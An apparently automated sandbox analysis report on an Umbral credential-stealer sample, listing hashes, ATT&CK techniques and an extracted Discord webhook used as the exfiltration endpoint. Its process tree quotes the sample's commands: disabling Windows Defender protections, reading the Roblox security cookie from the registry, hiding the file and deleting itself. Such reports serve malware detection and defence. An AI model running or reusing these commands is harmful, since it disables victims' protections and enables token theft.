umbral | d864686dd77c81f89803fe21bc596b9188fd2b9ade88f618d60206a9e167953d

Analysis

max time kernel
120s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
25-07-2024 14:12

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General

Target

thegreatestexploits_services.exe
Size

1.2MB
MD5

aaaf987d8a27c805d177c6063b645be0
SHA1

64eda37efbbbc0cbedcd33f1594223d96d5b9803
SHA256

d864686dd77c81f89803fe21bc596b9188fd2b9ade88f618d60206a9e167953d
SHA512

5126f43fcf8e5f5f62f701b4575d7fd3dfc046614b0889d8dc73631ff876d5998d3f5994743847282270cfa20ba7911d206a41cba3e7327eb017f3fdbe9eefa3
SSDEEP

24576:UxRQjzTD/YM9mIqvJlk0/sFR1TbtXwiSwVizX5C1Wmmrj:YRYzTRMYT5btawQNCXmr

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1265015414048428153/VWNDpNZhZlKVwrtnGdcffRijkAKSf8EgngZwE8gCRJ90aR_H6BmlLSPeh2FFEO31-nto

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/memory/1812-2-0x0000000000F70000-0x00000000013E0000-memory.dmp	family_umbral
behavioral1/memory/1812-43-0x0000000000F70000-0x00000000013E0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2848	powershell.exe
2892	powershell.exe
2204	powershell.exe
340	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	thegreatestexploits_services.exe

Deletes itself 1 IoCs

pid	Process
2656	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
10	discord.com
9	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
1812	thegreatestexploits_services.exe
1812	thegreatestexploits_services.exe
1812	thegreatestexploits_services.exe

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	thegreatestexploits_services.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wmic.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2656	cmd.exe
896	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2912	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
896	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1812	thegreatestexploits_services.exe
2848	powershell.exe
2892	powershell.exe
2204	powershell.exe
2488	powershell.exe
340	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1812	thegreatestexploits_services.exe
Token: SeIncreaseQuotaPrivilege	1884	wmic.exe
Token: SeSecurityPrivilege	1884	wmic.exe
Token: SeTakeOwnershipPrivilege	1884	wmic.exe
Token: SeLoadDriverPrivilege	1884	wmic.exe
Token: SeSystemProfilePrivilege	1884	wmic.exe
Token: SeSystemtimePrivilege	1884	wmic.exe
Token: SeProfSingleProcessPrivilege	1884	wmic.exe
Token: SeIncBasePriorityPrivilege	1884	wmic.exe
Token: SeCreatePagefilePrivilege	1884	wmic.exe
Token: SeBackupPrivilege	1884	wmic.exe
Token: SeRestorePrivilege	1884	wmic.exe
Token: SeShutdownPrivilege	1884	wmic.exe
Token: SeDebugPrivilege	1884	wmic.exe
Token: SeSystemEnvironmentPrivilege	1884	wmic.exe
Token: SeRemoteShutdownPrivilege	1884	wmic.exe
Token: SeUndockPrivilege	1884	wmic.exe
Token: SeManageVolumePrivilege	1884	wmic.exe
Token: 33	1884	wmic.exe
Token: 34	1884	wmic.exe
Token: 35	1884	wmic.exe
Token: SeIncreaseQuotaPrivilege	1884	wmic.exe
Token: SeSecurityPrivilege	1884	wmic.exe
Token: SeTakeOwnershipPrivilege	1884	wmic.exe
Token: SeLoadDriverPrivilege	1884	wmic.exe
Token: SeSystemProfilePrivilege	1884	wmic.exe
Token: SeSystemtimePrivilege	1884	wmic.exe
Token: SeProfSingleProcessPrivilege	1884	wmic.exe
Token: SeIncBasePriorityPrivilege	1884	wmic.exe
Token: SeCreatePagefilePrivilege	1884	wmic.exe
Token: SeBackupPrivilege	1884	wmic.exe
Token: SeRestorePrivilege	1884	wmic.exe
Token: SeShutdownPrivilege	1884	wmic.exe
Token: SeDebugPrivilege	1884	wmic.exe
Token: SeSystemEnvironmentPrivilege	1884	wmic.exe
Token: SeRemoteShutdownPrivilege	1884	wmic.exe
Token: SeUndockPrivilege	1884	wmic.exe
Token: SeManageVolumePrivilege	1884	wmic.exe
Token: 33	1884	wmic.exe
Token: 34	1884	wmic.exe
Token: 35	1884	wmic.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	2488	powershell.exe
Token: SeIncreaseQuotaPrivilege	1264	wmic.exe
Token: SeSecurityPrivilege	1264	wmic.exe
Token: SeTakeOwnershipPrivilege	1264	wmic.exe
Token: SeLoadDriverPrivilege	1264	wmic.exe
Token: SeSystemProfilePrivilege	1264	wmic.exe
Token: SeSystemtimePrivilege	1264	wmic.exe
Token: SeProfSingleProcessPrivilege	1264	wmic.exe
Token: SeIncBasePriorityPrivilege	1264	wmic.exe
Token: SeCreatePagefilePrivilege	1264	wmic.exe
Token: SeBackupPrivilege	1264	wmic.exe
Token: SeRestorePrivilege	1264	wmic.exe
Token: SeShutdownPrivilege	1264	wmic.exe
Token: SeDebugPrivilege	1264	wmic.exe
Token: SeSystemEnvironmentPrivilege	1264	wmic.exe
Token: SeRemoteShutdownPrivilege	1264	wmic.exe
Token: SeUndockPrivilege	1264	wmic.exe
Token: SeManageVolumePrivilege	1264	wmic.exe
Token: 33	1264	wmic.exe
Token: 34	1264	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1812	thegreatestexploits_services.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 1812 wrote to memory of 1884	1812	thegreatestexploits_services.exe	30
PID 1812 wrote to memory of 1884	1812	thegreatestexploits_services.exe	30
PID 1812 wrote to memory of 1884	1812	thegreatestexploits_services.exe	30
PID 1812 wrote to memory of 1884	1812	thegreatestexploits_services.exe	30
PID 1812 wrote to memory of 2740	1812	thegreatestexploits_services.exe	33
PID 1812 wrote to memory of 2740	1812	thegreatestexploits_services.exe	33
PID 1812 wrote to memory of 2740	1812	thegreatestexploits_services.exe	33
PID 1812 wrote to memory of 2740	1812	thegreatestexploits_services.exe	33
PID 1812 wrote to memory of 2848	1812	thegreatestexploits_services.exe	35
PID 1812 wrote to memory of 2848	1812	thegreatestexploits_services.exe	35
PID 1812 wrote to memory of 2848	1812	thegreatestexploits_services.exe	35
PID 1812 wrote to memory of 2848	1812	thegreatestexploits_services.exe	35
PID 1812 wrote to memory of 2892	1812	thegreatestexploits_services.exe	37
PID 1812 wrote to memory of 2892	1812	thegreatestexploits_services.exe	37
PID 1812 wrote to memory of 2892	1812	thegreatestexploits_services.exe	37
PID 1812 wrote to memory of 2892	1812	thegreatestexploits_services.exe	37
PID 1812 wrote to memory of 2204	1812	thegreatestexploits_services.exe	39
PID 1812 wrote to memory of 2204	1812	thegreatestexploits_services.exe	39
PID 1812 wrote to memory of 2204	1812	thegreatestexploits_services.exe	39
PID 1812 wrote to memory of 2204	1812	thegreatestexploits_services.exe	39
PID 1812 wrote to memory of 2488	1812	thegreatestexploits_services.exe	41
PID 1812 wrote to memory of 2488	1812	thegreatestexploits_services.exe	41
PID 1812 wrote to memory of 2488	1812	thegreatestexploits_services.exe	41
PID 1812 wrote to memory of 2488	1812	thegreatestexploits_services.exe	41
PID 1812 wrote to memory of 1264	1812	thegreatestexploits_services.exe	43
PID 1812 wrote to memory of 1264	1812	thegreatestexploits_services.exe	43
PID 1812 wrote to memory of 1264	1812	thegreatestexploits_services.exe	43
PID 1812 wrote to memory of 1264	1812	thegreatestexploits_services.exe	43
PID 1812 wrote to memory of 1952	1812	thegreatestexploits_services.exe	45
PID 1812 wrote to memory of 1952	1812	thegreatestexploits_services.exe	45
PID 1812 wrote to memory of 1952	1812	thegreatestexploits_services.exe	45
PID 1812 wrote to memory of 1952	1812	thegreatestexploits_services.exe	45
PID 1812 wrote to memory of 804	1812	thegreatestexploits_services.exe	47
PID 1812 wrote to memory of 804	1812	thegreatestexploits_services.exe	47
PID 1812 wrote to memory of 804	1812	thegreatestexploits_services.exe	47
PID 1812 wrote to memory of 804	1812	thegreatestexploits_services.exe	47
PID 1812 wrote to memory of 340	1812	thegreatestexploits_services.exe	49
PID 1812 wrote to memory of 340	1812	thegreatestexploits_services.exe	49
PID 1812 wrote to memory of 340	1812	thegreatestexploits_services.exe	49
PID 1812 wrote to memory of 340	1812	thegreatestexploits_services.exe	49
PID 1812 wrote to memory of 2912	1812	thegreatestexploits_services.exe	51
PID 1812 wrote to memory of 2912	1812	thegreatestexploits_services.exe	51
PID 1812 wrote to memory of 2912	1812	thegreatestexploits_services.exe	51
PID 1812 wrote to memory of 2912	1812	thegreatestexploits_services.exe	51
PID 1812 wrote to memory of 2656	1812	thegreatestexploits_services.exe	53
PID 1812 wrote to memory of 2656	1812	thegreatestexploits_services.exe	53
PID 1812 wrote to memory of 2656	1812	thegreatestexploits_services.exe	53
PID 1812 wrote to memory of 2656	1812	thegreatestexploits_services.exe	53
PID 2656 wrote to memory of 896	2656	cmd.exe	55
PID 2656 wrote to memory of 896	2656	cmd.exe	55
PID 2656 wrote to memory of 896	2656	cmd.exe	55
PID 2656 wrote to memory of 896	2656	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2740	attrib.exe

C:\Users\Admin\AppData\Local\Temp\thegreatestexploits_services.exe
"C:\Users\Admin\AppData\Local\Temp\thegreatestexploits_services.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Windows\SysWOW64\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:1884
- C:\Windows\SysWOW64\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\thegreatestexploits_services.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Views/modifies file attributes
  PID:2740
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\thegreatestexploits_services.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2848
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2892
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2204
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2488
- C:\Windows\SysWOW64\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:1264
- C:\Windows\SysWOW64\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1952
- C:\Windows\SysWOW64\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - System Location Discovery: System Language Discovery
  PID:804
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:340
- C:\Windows\SysWOW64\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - System Location Discovery: System Language Discovery
  - Detects videocard installed
  PID:2912
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\thegreatestexploits_services.exe" && pause
  2⤵
  - Deletes itself
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2656
- - C:\Windows\SysWOW64\PING.EXE
    ping localhost
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
10d627a6ffe756b77b95705babf1e62b

SHA1
73c56d8ebd585fcfddfedcfdfd513e1631485ba5

SHA256
d60c96898b97d59a664ef8be22cc910305e5d8499ad4c90ace28ab4405e34465

SHA512
9aefa4a44fc25e616f252375ce49c261712c1208a1422140e1d83c6aea587d15529dd766a13dd40ab5797d0580ee8c21a1922ccf221a85879c267d928cd55751

Download Submit
memory/1812-0-0x0000000000F70000-0x00000000013E0000-memory.dmp

Filesize
4.4MB

Download
memory/1812-1-0x0000000073DBE000-0x0000000073DBF000-memory.dmp

Filesize
4KB

Download
memory/1812-2-0x0000000000F70000-0x00000000013E0000-memory.dmp

Filesize
4.4MB

Download
memory/1812-3-0x0000000073DB0000-0x000000007449E000-memory.dmp

Filesize
6.9MB

Download
memory/1812-43-0x0000000000F70000-0x00000000013E0000-memory.dmp

Filesize
4.4MB

Download
memory/1812-44-0x0000000073DB0000-0x000000007449E000-memory.dmp

Filesize
6.9MB

Download